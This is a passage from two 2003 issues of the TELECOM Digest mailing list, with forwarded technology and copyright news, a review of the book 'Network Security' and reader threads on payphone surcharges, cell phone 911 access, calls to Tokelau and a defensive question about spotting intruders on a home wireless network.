were involved in the bad orders. She also didn't know whether the problem affected cell phone models other than the PCS Phone Handspring Treo 300. http://news.com.com/2100-1017-980273.html ------------------------------ Date: Sun, 12 Jan 2003 15:29:02 -0500 From: Monty Solomon Subject: SonicBlue Says Development of New Devices on Track By Ben Berkowitz LAS VEGAS, Jan 11 (Reuters) - A slow holiday shopping season had a serious impact on consumer electronics sales, but development of new devices connecting digital media and home entertainment centers is still on track, according to the chief executive of consumer electronics maker SonicBlue Inc. In an interview with Reuters on Friday at the Consumer Electronics Show in Las Vegas, SonicBlue's Greg Ballard said the holiday season weakened as people spent less money on things for the home and more on relaxation. ... Ballard said the main impact of the suit has been to keep the company from adding some features to devices in development that he said would have been legal but may have invited further legal action. - http://finance.lycos.com/home/news/story.asp?story=30848806 ------------------------------ Date: Sun, 12 Jan 2003 15:35:31 -0500 From: Monty Solomon Subject: EFF Blasts Controversial Copyright Law By Lisa M. Bowman Staff Writer, CNET News.com January 10, 2003, 9:35 AM PT A controversial digital copyright law is quashing free speech and choking innovation, according to a new study by longtime critics of the measure. In its new ""Unintended Consequences"" report released Thursday, the Electronic Frontier Foundation (EFF) lists a variety of cases triggered by the Digital Millennium Copyright Act, a law passed in 1998 designed to bring copyright law into the digital age. Hollywood studios, record labels and other intellectual property holders lobbied hard for the law, fearing that the Internet would become a forum for rampant piracy because it allows people to easily copy and distribute digital products. Unlike analog copies, which lose resolution with each replication, digital copies of products maintain their high quality. In its report, the EFF said aggressive applications of the law have reached beyond the intention of the measure. The EFF said the DMCA has had a threefold effect: chilling free expression and scientific research; jeopardizing fair use; and impeding competition. http://news.com.com/2100-1023-980112.html ------------------------------ Date: Sun, 12 Jan 2003 15:40:28 -0500 From: Monty Solomon Subject: Samsung SCH-V310 Camcorder Phone Samsung unveil new 3G camcorder phone http://www.3gnewsroom.com/3g_news/jan_03/news_2906.shtml Samsung Electronics Ushers in the Camcorder Phone http://www.samsung.com/press/news_finder_read.cgi?lidx=20030106021110 ------------------------------ Date: Sun, 12 Jan 2003 15:45:37 -0500 From: Monty Solomon Subject: U.S. Radio Companies Prepare To Launch Digital Broadcasting By ANNA WILDE MATHEWS Staff Reporter of THE WALL STREET JOURNAL Radio companies will begin transmitting digital programming in 40 markets early this year, the industry's first move to introduce the technology, which will offer clearer sound to listeners. The rollout is set to be announced Friday by iBiquity Digital Corp., a closely held company, backed by broadcasters, that licenses digital-radio technology. At the same time, the company said, manufacturers are expected to begin offering digital-radio receivers to retailers, which can begin selling them to consumers this spring. ""You've seen every other consumer-electronics application go digital,"" said Robert Struble, chief executive of iBiquity. Major radio companies including Clear Channel Communications Inc. and Cox Radio Inc., majority owned by Cox Enterprises Inc., are expected to begin broadcasting stations digitally in markets including New York, Chicago, Los Angeles and San Francisco. According to iBiquity, about 100 stations are expected to launch digital versions in the first quarter of the year. The digital stations are received at the same spot on the dial as they are in analog form, but with far better sound. Broadcasters will be able to send text information such as song names or sports scores. ""For us, this will be an opportunity to enhance our listener experience and bring radio into the digital age,"" said David Field, chief executive of Entercom Communications Corp, which will initially offer digital stations in Seattle and Boston. ... http://online.wsj.com/article_email/0,,SB1042148364672006544,00.html ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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Townson Book Review: Network Security, Kaufman/Perlman/Speciner (Rob Slade) Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges (Weiss) Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges (joe) Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges (Wilson) Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges (Cline) Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges (Linc M) Request Recommendations For Integrated Access (Voice/Data) - MI (ZZZupan) Re: Article by Consumer Reports on Cellular and 911 (jbl) Re: Article by Consumer Reports on Cellular and 911 (Robert Bonomi) Re: Article by Consumer Reports on Cellular and 911 (Steven J. Sobol) Re: Can I Send Bulk Faxes Through SuperFax/ Bitware? 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Rob Slade Organization: Vancouver Institute for Research into User Date: Tue, 14 Jan 2003 08:03:56 -0800 Subject: Book Review: Network Security, Kaufman/Perlman/Speciner BKNTWSEC.RVW 20021106 ""Network Security"", Charlie Kaufman/Radia Perlman/Mike Speciner, 2002, 0-13-046019-2, U$54.99/C$85.99 %A Charlie Kaufman ckaufman@usibm.com %A Radia Perlman radia@alum.mit.edu %A Mike Speciner ms@alum.mit.edu %C One Lake St., Upper Saddle River, NJ 07458 %D 2002 %G 0-13-046019-2 %I Prentice Hall %O U$54.99/C$85.99 201-236-7139 fax 201-236-7131 mfranz@prenhall.com %O http://www.amazon.com/exec/obidos/ASIN/0130460192/robsladesinterne %P 713 p. %T ""Network Security: Private Communication in a Public World, 2e"" For communications security, this is the text. As well as solid conceptual background of cryptography and authentication, there is overview coverage of specific security implementations, including Kerberos, PEM (Privacy Enhanced Mail), PGP (Pretty Good Privacy), IPsec, SSL (Secure Sockets Layer), AES (Advanced Encryption Standard), and a variety of proprietary systems. Where many security texts use only UNIX examples, this one gives tips on Lotus Notes, NetWare, and Windows NT. Chapter one is an introduction, with a brief primer on networking, some reasonable content on malware, and basic security models and concepts. Part one deals with cryptography. The foundational concepts are covered in chapter one. Symmetric encryption, in chapter three, is presented in terms of the operations of DES (Data Encryption Standard), IDEA (International Data Encryption Algorithm), and AES. Chapter four details the major modes of DES. The algorithms for a number of hash functions and message digests are described in chapter five. Asymmetric algorithms, such as RSA (Rivest-Shamir-Adleman) and Diffie-Hellman, are explained in chapter six, although one could wish for just slightly more material, such as actual numeric computations, that might reach a wider audience. The number theory basis of much of modern encryption is provided as well, in chapter seven. More, including a tiny bit on elliptic curves, is given in chapter eight. Part two covers authentication. The general problems are outlined in chapter nine. Chapter ten looks at the traditional means of authenticating people: something you know, have, or are. Various problems in handshaking are reviewed in chapter eleven. Chapter twelve describes some strong protocols for passwords. Part three examines a number of security standards. Kerberos gets two whole chapters, since we are provided with not only concepts but actual packets: version 4 in thirteen and 5 in fourteen. PKI (Public Key Infrastructure) terms, components, and mechanisms are outlined in chapter fifteen. The basic problems in real-time communications security are delineated in chapter sixteen. Chapter seventeen examines the authentication and encryption aspects of IPsec, while chapter eighteen deals with key exchange packets. SSL and TLS (Transport Layer Security) are described in chapter nineteen. Part four concentrates on electronic mail. Chapter twenty lays out the major concerns and problems. Chapter twenty one discusses PEM and S/MIME (Secure Multipurpose Internet Mail Extensions). PGP is covered in chapter twenty two. Part five contains miscellaneous topics. Chapter twenty three looks at firewalls, twenty four at a variety of specific security systems, and twenty five at Web issues. Folklore, in chapter twenty six, briefly lists a number of simple ""best practices"" that aren't generally part of formal security literature. The explanations are thorough and well written, with a humour that illuminates the material rather than obscuring it. The organization of the book may be a bit odd at times (the explanation of number theory comes only after the discussion of encryption that it supports), but generally makes sense. (It is, sometimes, evident that later text has created chapters that are slightly out of place.) The end of chapter ""homework"" problems are well thought out, and much better than the usual reading completion test. If there is a major weakness in the book, it is that the level of detail seems to vary arbitrarily, and readers may find this frustrating. Overall, though, this work provides a solid introduction and reference for network security related topics and technologies. copyright Robert M. Slade, 1996, 2002 BKNTWSEC.RVW 20021106 rslade@vcn.bc.ca rslade@sprint.ca slade@victoria.tc.ca p1@canada.com Find book info victoria.tc.ca/techrev/ or sun.soci.niu.edu/~rslade/ Upcoming (ISC)^2 CISSP CBK review seminars (+1-888-333-4458): February 10, 2003 February 14, 2003 St. Louis, MO March 31, 2003 April 4, 2003 Indianapolis, IN ------------------------------ From: Pete Weiss Subject: Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges? Date: Tue, 14 Jan 2003 09:24:38 -0500 Organization: Penn State University -- Administrative Information Services On Sun, 12 Jan 2003 23:18:56 -0700, Phil Earnhardt wrote: > During this one 800 number call, MCI charged me the 24 cent pay-phone > fee twice -- once for each completed call. What [MCI] charges YOU is governed by your contract with them; what they re-emburse the owner of payphone is governed by the applicable tariff. Pete ------------------------------ From: joe@obilivan.net Subject: Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges? Date: Tue, 14 Jan 2003 14:22:20 GMT Organization: Cox Communications Try the FCC. You might get an answer in 6 months, or so. The stamp will cost you 37 cents. Phil Earnhardt wrote: > Today, I used my MCI prepaid calling card for the first time. I called > the service from a pay phone, entered my account number, and called > two different numbers. (MCI uses ## to terminate calls). > During this one 800 number call, MCI charged me the 24 cent pay-phone > fee twice -- once for each completed call. > What does the federal tariff say? I'm guessing that MCI is probably > reiembursing the pay phone owner for a single call and keeping the > second 24-cent charge. > If MCI only has the right to charge me one 24-cent fee, I'd like to > know who to complain to. > URLs on the appropriate tariff and, presuming MCI is in the wrong, how > to complain would be appreciated. > Thanks, > --phil ------------------------------ From: Sam Wilson Subject: Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges? Date: Mon, 13 Jan 2003 22:56:02 -0500 Phil Earnhardt wrote: > Today, I used my MCI prepaid calling card for the first time. I called > the service from a pay phone, entered my account number, and called > two different numbers. (MCI uses ## to terminate calls). > During this one 800 number call, MCI charged me the 24 cent pay-phone > fee twice -- once for each completed call. > What does the federal tariff say? I'm guessing that MCI is probably > reiembursing the pay phone owner for a single call and keeping the > second 24-cent charge. > If MCI only has the right to charge me one 24-cent fee, I'd like to > know who to complain to. > URLs on the appropriate tariff and, presuming MCI is in the wrong, how > to complain would be appreciated. When the payphone surcharge was first installed, I remember a calling card co saying that you could avoid subsequent fees by using the ## (it wasn't MCI but most cards have something similar) to start a new call without redialing the tollfree access number. It may be the case however that they must charge the fee each time, because the surcharge is supposed to compensate the phone owner for calls made from the phone. ""Socialism in general has a record of failure so blatant that only an intellectual could ignore or evade it."" -- Thomas ------------------------------ From: Stanley Cline Subject: Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges? Date: Tue, 14 Jan 2003 00:39:55 +0000 (UTC) Organization: Roamer1 Communications - Dunwoody, GA, USA Reply-To: sc1-news@roamer1.org In article , Phil Earnhardt wrote: > During this one 800 number call, MCI charged me the 24 cent pay-phone > fee twice -- once for each completed call. > What does the federal tariff say? I'm guessing that MCI is probably The FCC rules regarding payphone owner compensation are very clear -- they require that payphone owners be compensated the same for ""each and every"" completed call. Hence, you are charged the ""payphone surcharge"" on each call placed and completed, even if you sequence-call. From http://www.fcc.gov/Bureaus/Common_Carrier/Orders/1996/fcc96439.txt : > 54. Completed Calls. Because it would be an interpretation > inconsistent with our responsibility under Section 276, we deny the > request by Cable & Wireless that the Commission allow carriers to treat > calls re-originated within the carrier's platform as a single > compensable call. We concluded in the Report and Order that, to comply > with our statutory mandate that ""each and every completed intrastate > and interstate call"" be compensated, ""multiple sequential calls made > through the use of a payphone's '#' button should be counted as separate > calls for compensation purposes."" Although Cable & Wireless states that > this approach is technically difficult, we note that the requirement > that carriers track individual calls does not become effective for one > year. Carriers will be able to use this period to address these types > of technical difficulties with respect to their tracking obligations. Stanley Cline -- sc1 at roamer1 dot org -- http://www.roamer1.org/ ""Never put off until tomorrow what you can do today. There might be a law against it by that time."" -/usr/games/fortune ------------------------------ From: Linc Madison Subject: Re: Calling 800 Numbers From Pay Phone: How Many 24-cent Charges? Date: Mon, 13 Jan 2003 17:53:14 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Phil Earnhardt wrote: > Today, I used my MCI prepaid calling card for the first time. I called > the service from a pay phone, entered my account number, and called > two different numbers. (MCI uses ## to terminate calls). > During this one 800 number call, MCI charged me the 24 cent pay-phone > fee twice -- once for each completed call. > What does the federal tariff say? I'm guessing that MCI is probably > reiembursing the pay phone owner for a single call and keeping the > second 24-cent charge. You were charged correctly, and, if MCI is following the rules correctly, it will pay 48 cents to the payphone owner. Since we all know that MCI is a paragon of accounting honesty and efficiency, I'm sure that's exactly what will happen, give or take 48 cents. The flip side of the coin is, if you dial MCI's access number, but do not complete a call, neither you nor MCI owe the payphone owner anything. The FCC wrote the payphone compensation rules on the basis of ""per completed call."" In the case of ordinary toll-free numbers, the meaning is direct. However, in the case of calling cards, the call from the payphone to the carrier doesn't count, only the completed calls outbound from the carrier. You can find reference to this issue here: That's the original FCC order on payphone compensation, but be warned, it's a long document mostly in legalese. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: nomail@ascendhosting.com (ZZZupan) Subject: Request Recommendations for Integrated Access (Voice/Data) - MI Date: 14 Jan 2003 18:57:56 -0800 Organization: http://groups.google.com/ I have some clients that use Allegiance and XO for integrated voice/data solutions. I am *not* a specialist in this area and would like to know who the other IT Consultants are recommending. TIA, Frank ------------------------------ From: jbl Subject: Re: Article by Consumer Reports on Cellular and 911 Date: Mon, 13 Jan 2003 18:42:26 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , Jack Hamilton wrote: > Danny Burstein wrote: >> The magazine acknowledges that cell phones are radios and there will >> always be some intrinsic problems, but then points out the very real >> concern that phones locked onto one system -- either through >> programming or through technical limitations -- often won't kick over >> to a good signal on an alternate carrier. Oh, and that in many cases >> (depending on the phone and network) that's an FCC violation. I would presume the CR engineers are smart enough to check and appropriately set the networking options in each phone and not depend on how the phones arrived out of the box (for instance on my SprintPCS phone my coverage was marginal enough I turned roaming OFF to avoid roaming when I really didn't want to, i.e. most of the time. > Or are you saying that it's a violation for those phones *not* to > switch to another network? I think immediate access to 911 via any available means is the goal, hence they should switch if they can. /JBL ------------------------------ Subject: Re: Article by Consumer Reports on Cellular and 911 Organization: Not Much From: bonomi@c-ns (Robert Bonomi) Date: Tue, 14 Jan 2003 02:39:08 GMT In article , Jack Hamilton wrote: > Danny Burstein wrote: >> The magazine acknowledges that cell phones are radios and there will >> always be some intrinsic problems, but then points out the very real >> concern that phones locked onto one system -- either through >> programming or through technical limitations -- often won't kick over >> to a good signal on an alternate carrier. Oh, and that in many cases >> (depending on the phone and network) that's an FCC violation. > Are you saying that it would be a violation of an FCC regulation to > make an emergency call on the wrong carrier? No. He's saying it may be a FCC violation *NOT* to kick over to the alternate carrier. ------------------------------ From: Steven J. Sobol Subject: Re: Article by Consumer Reports on Cellular and 911 Date: Mon, 13 Jan 2003 23:35:39 -0000 Organization: JustThe.net LLC In article , Jack Hamilton wrote: > Danny Burstein wrote: >> The magazine acknowledges that cell phones are radios and there will >> always be some intrinsic problems, but then points out the very real >> concern that phones locked onto one system -- either through >> programming or through technical limitations -- often won't kick over >> to a good signal on an alternate carrier. Oh, and that in many cases >> (depending on the phone and network) that's an FCC violation. > Are you saying that it would be a violation of an FCC regulation to > make an emergency call on the wrong carrier? No, it's an FCC violation for the carriers not to accept 911 calls from people who aren't their customers, or for a carrier to prevent its phones from using other networks to dial 911. IOW, ""in many cases, the phones not kicking over is an FCC violation."" I believe that's what Danny meant. > Or are you saying that it's a violation for those phones *not* to > switch to another network? I think that's it. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: rayta@msn.com (Ray Normandeau) Subject: Re: Can I Send Bulk Faxes Through SuperFax/ Bitware? Date: 14 Jan 2003 10:56:21 -0800 Organization: http://groups.google.com/ I am the Press Secretary for a community group. We have been doing this since 1987 w/DOS and a JT Fax card. We are now considering doing this from a Windows ME box and it seems that the commercial fax program Winfax Pro 10.02 is what we would want. It allows faxing from two phone lines at the same. We would put an external fax/modem on a serial port. I have been watching PriceWatch.com for prices. Invalid Email above, but you may reach me via http://groups.yahoo.com/group/hudnycha/ ------------------------------ From: Doug Faunt N6TQS +1-510-655-8604 Subject: Re: Now: Tokelau, Country Code 690 Date: 14 Jan 2003 14:38:20 -0500 Organization: at home, in Oakland, California Richard D G Cox writes: > At 22:44 UT on 11 Jan 2003 Doug Faunt N6TQS wrote: >> The item of interest here is that ATT long distance will not allow >> one to dial Tokelau, and, according to the information operator, >> claims it doesn't exist. It does exist, and according to the manager >> of the telephone system there, the US is the only place that doesn't >> allow direct calls to Tokelau. > There are reports that numbers in the +690 range are to be used for > Telesleaze (900 bypass): and given how _few_ real telephone numbers > (less than 3000) there are likely to be in Tokelau, the majority of > calls to +690 would statistically be then likely to be Telesleaze. I don't understand how a valid country code can be abused as you suggest. I'd appreciate a further explanation. And if MCI has no problem, why does AT&T have this problem? BTW, I've now found that the Pitcairn Islands, country code 64, (with less than 20 subscribers), has the same problem. AT&T doesn't acknowledge their existence, MCI will place a call for a reasonable rate. These are not academic discussions, BTW. I was considering going to Tokelau, but have postponed that trip, since I am going to Pitcairn. 73, doug ------------------------------ From: jared@hwai.com (Jared) Subject: How to Detect an 'Invasive' MAC Date: 14 Jan 2003 08:02:03 -0800 Organization: http://groups.google.com/ I am setting up my first WLAN. I have decided that I can't really stop warsniffers from discovering my network, eventually sniffing out my WEP keys and cracking their way in. However, if they're using my network, it strikes me that their MAC's should be visible and I can use a built-in filtering rule to at least make them keep acquiring NIC's on a regular basis. Does anyone know of any tools to do this, or should I expect my vendor (SMC) to provide this info (I didn't see it in the manual) from the AP itself? TIA - Regards, jh ------------------------------ From: luvencl@potmail.com Subject: Caller ID on CFWD No Answer Reply-To: luvencl@potmail.com Organization: AT&T Broadband Date: Wed, 15 Jan 2003 02:49:14 GMT I am getting ready to convert a LUCENT Legend Release 7.0 to T1 PRI, and I have a couple of questions. The local operating company BellSouth is going to supply a Fractional PRI with internet data on DS0's 11-23. Ch 24 is of course the B channel. And DS0's 1-10 will be dedicated to the Lucent Legend switch. I am looking for someone that has actually seen this done successfully, and also would like to find out if caller ID on DOD calls has the options of displaying the actual DID extension's phone number? And finally, on a call forward no answer (Lucent call this FWD with delay) will the incoming called ID info be passed on through the DOD call? Example, someone on PSTN calls 555-555-1001, (which will DID to ext 101 on the PBX). Ext 101 does not answer, call gets routed to another outside line via two-way trunk over PRI. What will the destination end get for caller ID? Will it be the originating end's called ID or the extension's called ID? To reply, please note I have anti spam setup. Please change the p to an h as in hotmail. Thanks very much for your time and help in advance! luvencl@potmail.com [TELECOM Digest Editor's Note: I can tell you my experience with SBC and forward on busy/no answer is that the eventual recipient of the call (my cell phone, usually) gets the number of my house line, rather than the caller's number. That's a nuisance, since my answer phrase would change according to the number of the caller *if I knew what it was*. Telco explained it to me this way: YOU are making the call to your cell phone. We are simply automating the process. But oddly enough, if I use immediate call forwarding on my home line, the number of the original caller gets forwarded also. In other words, just the opposite process. Any explanations for that? PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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End of TELECOM Digest V22 #231 ****************************** >From editor@telecom-digest.org Wed Jan 15 01:42:06 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h0F6g6O21227; Wed, 15 Jan 2003 01:42:06 -0500 (EST) Date: Wed, 15 Jan 2003 01:42:06 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301150642.h0F6g6O21227@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #232 TELECOM Digest Wed, 15 Jan 2003 01:42:00 EST Volume 22 : Issue 232 Inside This Issue: Editor: Patrick A. Townson Ellacoya Lands New Customers, Funding (Monty Solomon) Alliance to Offer an Alternative to Passport (Monty Solomon) Nextel to Expand 'Direct Connect' (Monty Solomon) PBS Airs the (Long) History of Chicago (Monty Solomon) Time to Rethink Digital Copyright Act (Monty Solomon) RFID Tags: Big Brother in Small Packages (Monty Solomon) Music, Tech Groups OK Copyright Plans (Monty Solomon) Sued for Following Suit in TV-Land (Monty Solomon) Regulatory Future? More Uncertainty (Monty Solomon) Is the RIAA ""Hacking You Back""? (Monty Solomon) Samsung Pressure Gives Motorola Insomnia (Monty Solomon) Re: Keystone Kops & Kollect Kalls (Henry E Schaffer) Re: Illinois Death Row is Empty Today (Linda Davis) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Mon, 13 Jan 2003 18:16:21 -0500 From: Monty Solomon Subject: Ellacoya Lands New Customers, Funding By Peter J. Howe, Globe Staff, 1/13/2003 What looks to be breathing new life into Ellacoya is the booming traffic on Napster-inspired systems for sharing digital music and video such as Kazaa, Morpheus, and Gnutella. The file-sharing systems are creating big traffic headaches for commercial and college broadband network operators. Ellacoya chief executive Ron Sege, a former senior executive of Web portal Lycos.com, said peer-to-peer file sharing 'is probably 10 times more popular now than it was at Napster's peak' before federal courts shut down the pioneering service in the summer of 2000, ruling that it faciliated massive theft of copyrighted content. But today, network operators are finding 5 or 10 percent of their users are hogging 70 percent of the network usage by sharing music and video files over Napster successors. Ellacoya's system enables broadband network operators to 'look into' data packets that are flowing over the network and give the highest priority to legitimate e-mail and Web surfing while making peer-to-peer traffic 'fly coach or standby instead of first-class,' Sege said. While the underlying issue of the legality of content-sharing systems is still being sorted out, Sege said, network operators can use Ellacoya systems to push subscribers' multi-hour downloads of movie or music files to non-peak periods when the network has capacity -- or block them if the services are shut down. http://www.boston.com/dailyglobe2/013/business/Ellacoya_lands_new_customers_funding+.shtml ------------------------------ Date: Mon, 13 Jan 2003 18:18:07 -0500 From: Monty Solomon Subject: Alliance to Offer an Alternative to Passport By Hiawatha Bray, Globe Staff, 1/13/2003 The effort to construct an alternative to Microsoft Corp.'s Passport network authentication system takes a step forward today, as Sun Microsystems Inc. releases a software component that lets people identify themselves to multiple computer systems in an organization. The Sun ONE Identity Server is a vital component of a plan to create a service to let Internet users gain access to all of their online resources with the use of a single password, while protecting the users' privacy. Microsoft's Passport already provides a similar service, but Sun and many other corporations have been reluctant to become dependent on Microsoft to gain access to their customers. These partners, which include United Airlines, American Express, Sony, and General Motors, joined with Sun to form the Liberty Alliance, and to create an alternative to the Passport system. Passport is already in use at Microsoft's own Internet sites and a few others, such as the eBay auction site and the Expedia online travel agency. But the Liberty Alliance has yet to offer services to the public, mainly because the necessary software is still under development. That's the significance of the Sun ONE Identity Server, said Andy Eliopoulos, director of business management for Sun's network identity program. http://www.boston.com/dailyglobe2/013/business/Alliance_to_offer_an_alternative_to_Passport+.shtml [TELECOM Digest Editor's Note: Mr. Bray has written in TELECOM Digest in the past on a couple occassions. PAT] ------------------------------ Date: Mon, 13 Jan 2003 21:35:21 -0500 From: Monty Solomon Subject: Nextel to Expand 'Direct Connect' Widens use outside home calling markets By Peter J. Howe, Globe Staff, 1/13/2003 Wireless carrier Nextel Communications is announcing today plans for a major regional and national expansion of its 'direct-connect' walkie-talkie feature that has earned it a lucrative business-market niche in the highly competitive wireless industry. Beginning this week, the company said, millions of Nextel subscribers will be able to use the direct-connect feature outside their home calling markets to have the equivalent of instant walkie-talkie conversations with other Nextel users when they are both on the road. Since Nextel launched the service ten years ago, it has been limited to users talking within their home service area, such as Eastern Massachusetts. The first stage of the expansion will let Nextel subscribers use direct connect with subscribers from their home area when they travel with them in other service areas throughout the Northeast and parts of the Southwest, or with subscribers based in the home service area to which they have traveled. Two Nextel subscribers or a group from Boston traveling to New York, Washington, or Los Angeles, for example, could direct connect with each other in those markets or with Nextel subscibers based in those markets. http://www.boston.com/dailyglobe2/013/business/Nextel_to_expand_direct_connect_+.shtml ------------------------------ Date: Mon, 13 Jan 2003 21:37:47 -0500 From: Monty Solomon Subject: PBS Airs the (Long) History of Chicago Pat, FYI Monty TELEVISION REVIEW By Sam Allis, Globe Staff, 1/13/2003 If you don't know much about the astonishing rise of Chicago in the 19th century, or if you're a Chicago chauvinist, 'Chicago: City of the Century' is rich gruel. If, however, you're remotely familiar with that piece of American history, these 4 1/2 hours will present more than you probably ever want to know about the place at the time. This 'American Experience,' which begins tonight on WGBH-TV (Ch. 2), would have been a feast at two hours. This latest entry in the PBS nonfiction roster (it continues tomorrow night and Wednesday; each 90-minute segment begins at 9 p.m.) is ably written, produced, and directed by Austin Hoyt, the veteran documentarian who did superb profiles of Ronald Reagan, Douglas MacArthur, and Andrew Carnegie. The reporting here is excellent, the detail illuminating, the writing clean. http://www.boston.com/dailyglobe2/013/living/PBS_airs_the_long_history_of_Chicago+.shtml [TELECOM Digest Editor's Note: Of course, Monty, I am no longer a resident of Chicago, IL. Much of the material on the show I know about already, since I produced a radio show called 'Traces of Chicago' which aired every Sunday afternoon/Tuesday overnight on CRIS Radio, the station maintained by the Chicago Public Library. I did 'Traces' for 13 years. Each episode was originally produced by myself. Bill Pfeiffer got me that job, back around 1980. 'Traces' dealt with the history of Chicago over 150 years more or less, 1837 to the present time. It was aired every Sunday afternoon, and repeated on tape every Tuesday overnight. I guess I did about 700 shows in the overall series. hicago adio nformation ervice is intended for visually- or print-handicapped persons; you receive it on an SCA reciever, served on a sub-carrier of station WNIZ. For many years, I worked as a volunteer for the Chicago Public Library, for close to twenty years. My first position for them was 'sysop' for an Apple ][+ BBS they started in 1980 at my suggestion. CPL had the first computer bulletin board system at a library anywhere in the world; it was quite innovative in my opinion. I think CRIS radio was also the first reading service of its kind in the world as well. PAT] ------------------------------ Date: Mon, 13 Jan 2003 21:41:15 -0500 From: Monty Solomon Subject: Time to Rethink Digital Copyright Act UPGRADE By Hiawatha Bray, Globe Staff, 1/13/2003 A lovely state, Kentucky, but not a place that's generally in the forefront either of law or technology. As a matter of fact, it may just have taken a giant step backward. Lexmark International Inc. of Lexington, Ky., is one of the world's leading makers of computer printers. It's a robust business, but one with a curious pricing model. Most printers are relatively cheap; it's the replacement ink or toner cartridges that cost a fortune, and enable companies like Lexmark to turn a profit. Inevitably, consumers griped about the high cost of replacement cartridges from Lexmark and other printer firms. And the used cartridges were perfectly good, except for needing a refill. So an industry was born - companies that collected the old cartridges, refilled them, and resold them for much less than the printer companies. This enraged the printer makers, who can't turn a profit without the extortionate revenues derived from cartridge sales. So they've tried to stifle the makers of aftermarket cartridges. Their ultimate weapon is a microchip built into the cartridges that cause them to malfunction if any attempt is made to reuse the cartridge. Some companies use chips that cause certain features of the printer to stop working. But Lexmark goes further, using a feature known to its critics as the 'killer chip.' Use an unauthorized cartridge in some of their laser printers, and it just won't work. Unless the remanufactured cartridge has a replacement chip that works just fine with the printer. Static Control Components Inc., of Sanford, N.C., supplies such chips to cartridge recyclers. And for that, the company has fallen foul of a very foul law. Yes, once again, it's that bane to technological innovation: the Digital Millennium Copyright Act. http://www.boston.com/dailyglobe2/013/business/Time_to_rethink_digital_copyright_act+.shtml ------------------------------ Date: Tue, 14 Jan 2003 07:36:51 -0500 From: Monty Solomon Subject: RFID Tags: Big Brother in Small Packages By Declan McCullagh Could we be constantly tracked through our clothes, shoes or even our cash in the future? I'm not talking about having a microchip surgically implanted beneath your skin, which is what Applied Digital Systems of Palm Beach, Fla., would like to do. Nor am I talking about John Poindexter's creepy Total Information Awareness spy-veillance system, which I wrote about last week. Instead, in the future, we could be tracked because we'll be wearing, eating and carrying objects that are carefully designed to do so. The generic name for this technology is RFID, which stands for radio frequency identification. RFID tags are miniscule microchips, which already have shrunk to half the size of a grain of sand. They listen for a radio query and respond by transmitting their unique ID code. Most RFID tags have no batteries: They use the power from the initial radio signal to transmit their response. You should become familiar with RFID technology because you'll be hearing much more about it soon. Retailers adore the concept, and CNET News.com's own Alorie Gilbert wrote last week about how Wal-Mart and the U.K.-based grocery chain Tesco are starting to install ""smart shelves"" with networked RFID readers. In what will become the largest test of the technology, consumer goods giant Gillette recently said it would purchase 500 million RFID tags from Alien Technology of Morgan Hill, Calif. http://news.com.com/2010-1069-980325.html ------------------------------ Date: Tue, 14 Jan 2003 11:29:53 -0500 From: Monty Solomon Subject: Music, Tech Groups OK Copyright Plans (AP Online) The leading trade associations for the music and technology industries, which have been at loggerheads over consumers downloading songs on the Internet, have negotiated a compromise they contend will protect copyrights on movies and music without new government involvement. Lobbyists for some of the nation's largest technology companies will argue under the new agreement against efforts in Congress to amend U.S. laws to broaden the rights of consumers, such as explicitly permitting viewers to make backup copies of DVDs for personal use or copy songs onto handheld listening devices. The agreement, expected to be announced Tuesday in Washington, attempts to head off government intervention in the rising debate over what consumers can do with copyrighted material they have purchased. The battle over copyrights, pitting Hollywood against Silicon Valley, has emerged as a central policy question for this Congress. http://finance.lycos.com/home/news/story.asp?story=30893278 ------------------------------ Date: Tue, 14 Jan 2003 12:23:48 -0500 From: Monty Solomon Subject: Sued for Following Suit in TV-Land POWER LUNCH By Ron Grover Hardly flattered, Les Moonves and CBS are suing ABC over what they contend is a show that consciously mimics CBS's Survivor. No one likes combat sport more than Leslie Moonves. In his Los Angeles office, the CBS 